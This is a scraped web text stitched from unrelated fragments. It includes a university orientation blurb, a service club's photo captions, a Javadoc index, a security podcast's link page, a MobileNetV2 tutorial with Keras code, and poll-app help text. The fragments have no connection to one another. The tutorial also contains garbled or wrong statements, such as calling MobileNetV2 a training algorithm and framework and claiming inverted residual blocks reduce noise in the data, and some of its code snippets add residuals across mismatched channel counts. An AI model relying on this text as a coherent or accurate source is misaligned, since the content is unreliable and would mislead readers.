Orientation (or O-Week for short) occurs the week before your first week of the semester and is a wonderful way for you to find out about the Uni lifestyle. Orientation goes for the entire week (hence the 'week' in O-Week) but has a special dedicated day for you and people doing the same degree as you.
You will have an oppotunity to meet your classmates and staff members during specific sessions catered for your program. There are academic workshops if you'd like to learn some academic skills before your first class and many social oppotunities to neet new people as there is free food, entertainment, and displays all around for your enjoyment.


Photo Gallery
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directions_runLA Marathon
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equalizerMini MathCounts
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content_cutRose Float Decoration
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restaurant_menuBreakfast With Santa
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mailOperation Christmas Child
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whatshotNakaoka Tree Lighting
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restaurant_menuFeed the Homeless
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flagFall Rally South
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directions_walkBe The Match Walk/Disney Marathon
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directions_runGardena Halloween Festival/Kickin' Cancer
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event_noteRegional Training Conference
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restaurant_menuElk's Lodge
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content_cutRose Gardening
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directions_walkAIDS Walk
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directions_runAlive & Running
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directions_bikeRedondo Bike Corral
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event_noteD19N/D19S Joint June DCM
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restaurant_menuKey Club Banquet
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flagHermosa Beach Festival
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directions_boatFishing Derby/Math Competition
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directions_walkMarch of Dimes/Dragon Boat Racing
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restaurant_menuFood Bank/Kiwanis One Day
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directions_runLA Marathon


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Me
How To Contact Me ...
eMail:
<EMAIL_ADDRESS>phone:
812.697.4588
address:
1319 South St., New Albany IN 47150


Index
All Classes and Interfaces|All Packages|Constant Field Values
S
- sample(double[], boolean[]) - Method in class utilities.CensoredMultinomialTrial
- sample(Set<Integer>, double[], double[]) - Method in class utilities.ReweightedMultinomialTrial
- sampleNearbyPoint(double, double[]) - Method in class utilities.SpacePointGenerator
-
Given a center point, sample uniformly a point within given radius of center
- samplePointUnitDisk() - Method in class utilities.SpacePointGenerator
-
Generates uniformly at random a d-dimensional vector in
- ScatterPlotInputData - Class in utilities
-
Visualization of fractal point clouds, tested on random data.
- ScatterPlotInputData(String, double[], double[]) - Constructor for class utilities.ScatterPlotInputData
- simulators - package simulators
- simulatorTests - package simulatorTests
- SpacePointGenerator - Class in utilities
-
Utility class for vectors in Euclidean space.
- SpacePointGenerator(int) - Constructor for class utilities.SpacePointGenerator
- SpacePointTest - Class in utilityTests
-
Used only for development
- SpacePointTest(int) - Constructor for class utilityTests.SpacePointTest
- SporadicReporter - Class in simulators
-
Stochastic embedding of visit sequence in continuous time, followed by generation of report times, with daily seasonality.
- SporadicReporter(Metrizable[], double, double) - Constructor for class simulators.SporadicReporter
- sumSquares(double[]) - Method in class utilities.SpacePointGenerator
All Classes and Interfaces|All Packages|Constant Field Values


PODCAST
apple:
podcast
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podcast
spotify:
podcast
audible:
podcast
feed:
rss
SOCIAL
blog:
website
mastodon:
infosec.exchange
twitter:
@mostlysecurity
github:
mostlysecurity
slack:
mostlysecurity
(invite)
JON KING
mastodon:
infosec.exchange
twitter:
@jonathan_b_king
linkedin:
Jon King
ERIC WUEHLER
mastodon
:
infosec.exchange
twitter:
@ericwuehler
linkedin:
Eric Wuehler
web:
ericwuehler.com
Mostly Security is a podcast about technology and security. Well, mostly about security anyway. Jon and Eric are doing the podcast on their own time and as such, the opinions expressed are their own and not necessarily those of their employer.


Building upon the success of MobileNetV1, Google released their latest network architecture, MobileNetV2. The new network architecture is built off of the original MobileNet model and has several improvements including increased throughput and improved accuracy. In this article, I will be introducing the inverted residual block (IRB) which is a key component of MobileNetV2.
Difference to other Networks
MobileNetV2 is the latest network training algorithm from Google, and it’s quite possibly one of the most important advances in deep learning since inception. The MobileNetV2 architecture is a modular network that allows for more flexibility and multiple layers of abstraction, making it easier to customize for specific tasks. Additionally, MobileNetV2 has been optimized for mobile devices and offers superior performance compared to other networks.
Heuristic of the (Inverted) residual block
First of all, let’s have a look at the figure. It already shows a clear distinction between the residual block and the inverted residual block.
We can observe that an Initial residual block (a) follows the “wide- narrow- wide” strategy concerning the amount of channels. The input has multiple channels, which are lessened with a lightweight 1x1 convolution. In this manner, the next 3x3 convolution has a much smaller number of parameters. To impose inputs and outputs at the end of the number of channels is increased once again through another 1×1 convolution. In Keras it looked like this.
1
2
3
4
5
def residual_block(x, squeeze=16, expand=64):
m = Conv2D(squeeze, (1,1), activation='relu')(x)
m = Conv2D(squeeze, (3,3), activation='relu')(m)
m = Conv2D(expand, (1,1), activation='relu')(m)
return Add()([m, x])
MobileNetV2 goes about using a first-stage 1×1 convolution followed by a second-stage 3×3 convolution in the narrowing process. At the beginning of the narrowing process, MobileNetV2 uses a 1×1 convolution followed by the 3×3 convolution.
1
2
3
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5
def inverted_residual_block(x, expand=64, squeeze=16):
m = Conv2D(expand, (1,1), activation='relu')(x)
m = DepthwiseConv2D((3,3), activation='relu')(m)
m = Conv2D(squeeze, (1,1), activation='relu')(m)
return Add()([m, x])
Advantages of the Inverted Residual Block
The Goal of any Neuronal network is to achieve a good performance. By the name of the MobileNet it is quite clear, that the performance is not only measured by accuracy or any similar metric. This model needs to perform a comparable accuarcy on an edge device like a mobile phone. Therefore the model size is quite important and with only around 20 MB it is extremely small. If you start comparing the runs of the two snippets above, you can see the inverted block has fewer parameters. This is one of the achievements compared to a ResNet model which is far bigger.
Further improvements
Empirically the performance of the current inverted residual block decreased by several percent and for this reason the authors came up with a linear bottleneck. This fancy solution prevents of destroying too much information and is easily implemented. We just remove in Tensorflow the ReLU activation function and we do have a linear activation.
1
2
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def inverted_linear_residual_block(x, expand=64, squeeze=16):
m = Conv2D(expand, (1,1), activation='relu')(x)
m = DepthwiseConv2D((3,3), activation='relu')(m)
m = Conv2D(squeeze, (1,1))(m)
return Add()([m, x])
Relu6 Activation function
Additionally the authors used ReLU6 instead of a ReLU, which limits the activation of activations to no more than a maximum of 6. The activation is straight until it is between 0 and 6.
1
2
3
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5
def relu(x):
return max(0, x)
def relu6(x):
return min(max(0, x), 6)
This was introduced due to a fixed point precision in the MobileNetV1 Paper.
Final Inverted Residual Block
As the last part we need to add a BatchNormalization. Batch Normalization is a technique to normalize the activations in the Residual Network. It helps to solve problems of overfitting and it increases the performance.
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9
10
def bottleneck_block(x, expand=64, squeeze=16):
m = Conv2D(expand, (1,1))(x)
m = BatchNormalization()(m)
m = Activation('relu6')(m)
m = DepthwiseConv2D((3,3))(m)
m = BatchNormalization()(m)
m = Activation('relu6')(m)
m = Conv2D(squeeze, (1,1))(m)
m = BatchNormalization()(m)
return Add()([m, x])
Conclusion
MobileNetV2 is the latest iteration of Google’s state-of-the-art machine learning framework, and it offers a number of improvements over its predecessors. One of the most important changes is the introduction of inverted residual blocks, which allow for more accurate prediction by reducing the amount of noise in the data. I hope this article was helpful for you.
Many thanks to the authors of the articles:
The code blocks are from Paul-Louis Pröve blog post (towardsdatascience.com).


Add a note
Step Guide for Dummies
Good, now that you have very carefully chosen and uploaded a photo. It is time you start asking youself a question about it.
Then Carefully chalk out the answers for the question you thought.
You know it wouldnt be worth it, but do it for your country.
Once you create all the options.
Press the tiny button in the corner, Your own poll page will appear.
Pat yourself on the back. You just saved the world.
Notes
You can delete an option by double clicking on it
You can add a new option by double clicking on the image you uploaded